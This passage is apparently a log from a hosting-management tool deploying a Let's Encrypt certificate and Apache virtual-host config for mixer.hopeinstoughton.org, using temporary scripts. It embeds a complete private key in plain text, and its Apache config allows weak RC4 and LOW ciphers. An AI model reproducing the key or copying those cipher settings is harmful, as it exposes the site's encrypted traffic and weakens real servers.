AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-14 06:00:52: Establishing a connection
2026-05-14 06:00:53: Establishing a connection
2026-05-14 06:00:54: 

PUT: /tmp/pkp945231

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_mixer/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-14 06:00:55: 

chmod 755 /tmp/pkp945231; /tmp/pkp945231; rm /tmp/pkp945231

2026-05-14 06:00:55: 


0


2026-05-14 06:01:19: Establishing a connection
2026-05-14 06:01:20: 

PUT: /tmp/pkp673058

#!/bin/bash
temp_file=$(mktemp)
TARGET=490fd86317cc9a7ba4710967bbbfc2a7

cat > $temp_file <<'endmsg'
5c:ce:04:c6:c0:72:fb:ea:5d:1d:90:6c:c1:a5:db:9b

-----BEGIN CERTIFICATE-----
MIIFDTCCA/WgAwIBAgISBVdMyNuHVnsD5fuK8pKTSrVaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTE0MDUwMjQ4WhcNMjYwODEyMDUwMjQ3WjAkMSIwIAYDVQQD
ExltaXhlci5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAnOLdS+0vbh8bftwiuJDBweXB8eV2wSNam1G/HhBAb69PWtjX
ZhZSoISy49OQZa8+ve3BbbxKvrkFHOMLJhQQKCB0zJ/sWS6Zv8Txn8UjIr86/rc0
Rhg+DGiMipC7E6ny5Pke8AMoLfY84cSRqyHpFeINAUSF5AWPre2sjVZYM+26mGsk
3UsqPTit2+IsM6r7dD07Hqs+SuhjKhecv0O/uGf8TLRpvoxFGr1JRAr9iqJ7nK4Q
uEUoDsBhKnLYsA0Sc0uL7K+rA1h89qwEjNoZZeiRNx41Qp3EoZW9G2ghs3SXQ7TO
YjqW2Mc3+qKDIDvnIWsyYcvgj4lDZ0wba205tQIDAQABo4ICKDCCAiQwDgYDVR0P
AQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFEwp/B+uZHOv51cvg/WVwAq7/ZYAMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wJAYDVR0RBB0wG4IZbWl4ZXIuaG9wZWluc3RvdWdo
dG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1o
dHRwOi8vcjEzLmMubGVuY3Iub3JnLzkxLmNybDCCAQ0GCisGAQQB1nkCBAIEgf4E
gfsA+QB3ANdtfRDRp/V3wsfpX9cAv/mCyTNaZeHQswFzF8DIxWl3AAABniUTPqwA
AAQDAEgwRgIhALywmiw+K0xM1eSINeL+6DdvqjcrIMz/reyxttOS0+uvAiEAjZhU
aJCj9rTZzsPAYXKSOvAjoXHF4iZstJSa9Lz8Ll0AfgBGr4Y9Oz7ln6V33qgkXTaw
2e0ioiP0YXdBIpRS7pVQXwAAAZ4lEz9RAAgAAAUABpAfUAQDAEcwRQIge55cSLwS
hblqQPgN48Y4LOqh4ln/jwSZckMzdoeUjTYCIQDgROP5sGPgT4ECWzMl30cPEJci
0TkIKOb750pITVILWDANBgkqhkiG9w0BAQsFAAOCAQEAEp9f/W0ZAHXXgaCfc47d
prZVwUQ7O2dGqm5Iz8wVUGeeJ5cnggNjRiqVGe5EQXddzgRgjcCS8WajedCiUaqI
CnrtTbNXxqdpnQp+P8HWDXX9LfvRq9A3YV8BEcLoZipsFKOItnyBysKD/vA/gJyK
1kaarWCzgw1mKbBv4qcgH4evGHENgYTnGS84OnGg9MFOlUpr9s3h8xk9l/xVNEqG
Ipcc94KKkwEnLSkpbGU6ZOm2r+t6yZEuI3G5Qm6bC/dbawXCbtB6FuOKCIO7enJW
jtCJbfi+/WeBT2RqqHZcXiZth6Ufcf2CefywsSZNTNijv6AEHctFQMquOJyh8i9j
RQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCc4t1L7S9uHxt+
3CK4kMHB5cHx5XbBI1qbUb8eEEBvr09a2NdmFlKghLLj05Blrz697cFtvEq+uQUc
4wsmFBAoIHTMn+xZLpm/xPGfxSMivzr+tzRGGD4MaIyKkLsTqfLk+R7wAygt9jzh
xJGrIekV4g0BRIXkBY+t7ayNVlgz7bqYayTdSyo9OK3b4iwzqvt0PTseqz5K6GMq
F5y/Q7+4Z/xMtGm+jEUavUlECv2KonucrhC4RSgOwGEqctiwDRJzS4vsr6sDWHz2
rASM2hll6JE3HjVCncShlb0baCGzdJdDtM5iOpbYxzf6ooMgO+chazJhy+CPiUNn
TBtrbTm1AgMBAAECggEAHCnCoahmsQ1PBYc1iW3dBnZ9CjRPzOyQjZzPYvF2a8Ys
B+owwrADrbKcnXbjb0mWCQjXBiC8xz+WCiE85V1JKDbpWLllt3281nbfjDearthm
2gZf0Sx1aQtUnWRNXQKPaqjI87uRWSzgsYO0xaSM/+NoQ7++DFiuOgIWTXoAU/PT
XfMG4Q0Rq0FDU3hWAoQvJKmPYfPVWPfwHDnV9xgI3+X66/yxV+n1ON5eHF9sttVC
b2ATqUaroIKB30/rOWTiOovcncVwO7HQFIP1uyTrJAddme/5tdkRcERQwCtEJHRM
Oyj1SAJrmsrKgi3Dzymm1Qf4OqOBlWPRzy74XqPIYQKBgQDQwjnMhfTXuMaJ3tzF
F0nDpLpZ2/wQsUE3K7IUXn0sgnLBuzPtTC31omsgW6/kWrF5Dw7k/RFsxgG97VKv
XdqQgBRSx0KMJYSqb5CG2qq0TSuvxDuw3fP7KAtFT9t1cNC0S2C1SZvcP4VQCniI
Mp4ZCiMg014JGM8JFsKUB+bxlQKBgQDAY5G6m3UvGftDrpsP/4yQ1AyY87Z9BdTo
1APQzrTwduBZPsB69DFA6TQ5Wlgrdya+5hCPm2dTko0ofVPOywLurM3Y55VX+8Bz
N7XDcffmonNlA3Yk5I0UVoHguiscZ/h6zQAZv+qyG5BEj1TzasqMimgcHlKBoOwK
9D3sQSVfoQKBgQC7wfS6PsE4RLhMyGVH3uo5TK9OoszTNpmxRVuldlae8bTFCdpq
U1oC01IGiHBqsids+l4rFnHVo0Ft0UXM9FzgGlItIYp5AkWQBUe4AnQGNmJUc+o7
6WTHP/zjGjAIMK+FeUZBxzKnpXoBw2klFmGbo8J0g6bQB8AuLIpVGcZdAQKBgQC2
vh1PfpjZy7kSugjKMngnnXP12RFPQjnRiomxTpcqDhDeVK/qWodqW9liXQGBD+W6
0LeMYRXNmVgBzMHNnKJFadkBnkAKWbSc/J7nbhsGdOpdWeNf+cRUPDOT7eJDUjMB
GjZtPxHEalAn/2m26YpJ4rIve1HtlZiAcy1aeyrv4QKBgC6c40fz974xjt9QCjaz
QzLC9Q2fCAqsj8A/v7AmsohkiYwZ8rO+YL47VWHRPQsuUBbMRGAGPgNyCcI91xNx
RngYfrPrSZ3VjAmyQ0LwVSP6fbq12+1HJ2zSJ5XADE0XpgPh4RDkNTGeQ+EDKkNK
SbLt5voHiG5d3lI3vIEaoQ/k
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-14 06:01:21: 

chmod 755 /tmp/pkp673058; /tmp/pkp673058; rm /tmp/pkp673058

2026-05-14 06:01:21: 


dir=/etc/ssl/certs


2026-05-14 06:01:21: 

PUT: /tmp/pkp705856

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-14 06:01:21: 

chmod 755 /tmp/pkp705856; /tmp/pkp705856; rm /tmp/pkp705856

2026-05-14 06:01:22: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf 49
<VirtualHost *:80>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
    
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} !-d
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} -f
    RewriteRule	^(.*) %{REQUEST_URI} [L]
    
    # if the cookie is missing, redirect to login site, with bounce parameter
    RewriteCond	%{HTTP_COOKIE} !\bauth=\b
    RewriteRule	^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
    
    ProxyRequests	off
    ProxyVia	on
    
    RewriteEngine	On
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://192.168.1.8:80/$1 [P,L]
    
    ProxyPass	/ http://192.168.1.8/
    ProxyPassReverse	/ http://192.168.1.8/
    
</VirtualHost>






2026-05-14 06:01:22: 

PUT: /tmp/pkp478592

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hopeinstoughton_mixer_org.conf
TARGET=/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
    
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} !-d
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} -f
    RewriteRule	^(.*) %{REQUEST_URI} [L]
    
    # if the cookie is missing, redirect to login site, with bounce parameter
    RewriteCond	%{HTTP_COOKIE} !\bauth=\b
    RewriteRule	^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
    
    ProxyRequests	off
    ProxyVia	on
    
    RewriteEngine	On
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://192.168.1.8:80/$1 [P,L]
    
    ProxyPass	/ http://192.168.1.8/
    ProxyPassReverse	/ http://192.168.1.8/
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf= 1'
fi


2026-05-14 06:01:22: 

chmod 755 /tmp/pkp478592; /tmp/pkp478592; rm /tmp/pkp478592

2026-05-14 06:01:22: 




2026-05-14 06:01:22: 

PUT: /tmp/pkp501676

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-14 06:01:23: 

chmod 755 /tmp/pkp501676; /tmp/pkp501676; rm /tmp/pkp501676

2026-05-14 06:01:23: 


.


2026-05-14 06:01:23: Establishing a connection
2026-05-14 06:01:24: 

PUT: /tmp/pkp581957

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-05-14 06:01:25: 

chmod 755 /tmp/pkp581957; /tmp/pkp581957; rm /tmp/pkp581957

2026-05-14 06:01:25: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost pluto.hostz.org (/etc/apache2/sites-enabled/hostz_pluto_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost pluto.hostz.org (/etc/apache2/sites-enabled/hostz_pluto_org.conf:30)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:25)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-05-14 06:01:25: 

PUT: /tmp/pkp441492

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-14 06:01:26: 

chmod 755 /tmp/pkp441492; /tmp/pkp441492; rm /tmp/pkp441492

2026-05-14 06:01:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf	2161
<VirtualHost *:80>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
    
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} !-d
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} -f
    RewriteRule	^(.*) %{REQUEST_URI} [L]
    
    # if the cookie is missing, redirect to login site, with bounce parameter
    RewriteCond	%{HTTP_COOKIE} !\bauth=\b
    RewriteRule	^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
    
    ProxyRequests	off
    ProxyVia	on
    
    RewriteEngine	On
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://192.168.1.8:80/$1 [P,L]
    
    ProxyPass	/ http://192.168.1.8/
    ProxyPassReverse	/ http://192.168.1.8/
    
</VirtualHost>







2026-05-14 06:01:26: 

PUT: /tmp/pkp467391

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-14 06:01:26: 

chmod 755 /tmp/pkp467391; /tmp/pkp467391; rm /tmp/pkp467391

2026-05-14 06:01:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7	5377
5c:ce:04:c6:c0:72:fb:ea:5d:1d:90:6c:c1:a5:db:9b

-----BEGIN CERTIFICATE-----
MIIFDTCCA/WgAwIBAgISBVdMyNuHVnsD5fuK8pKTSrVaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTE0MDUwMjQ4WhcNMjYwODEyMDUwMjQ3WjAkMSIwIAYDVQQD
ExltaXhlci5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAnOLdS+0vbh8bftwiuJDBweXB8eV2wSNam1G/HhBAb69PWtjX
ZhZSoISy49OQZa8+ve3BbbxKvrkFHOMLJhQQKCB0zJ/sWS6Zv8Txn8UjIr86/rc0
Rhg+DGiMipC7E6ny5Pke8AMoLfY84cSRqyHpFeINAUSF5AWPre2sjVZYM+26mGsk
3UsqPTit2+IsM6r7dD07Hqs+SuhjKhecv0O/uGf8TLRpvoxFGr1JRAr9iqJ7nK4Q
uEUoDsBhKnLYsA0Sc0uL7K+rA1h89qwEjNoZZeiRNx41Qp3EoZW9G2ghs3SXQ7TO
YjqW2Mc3+qKDIDvnIWsyYcvgj4lDZ0wba205tQIDAQABo4ICKDCCAiQwDgYDVR0P
AQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFEwp/B+uZHOv51cvg/WVwAq7/ZYAMB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
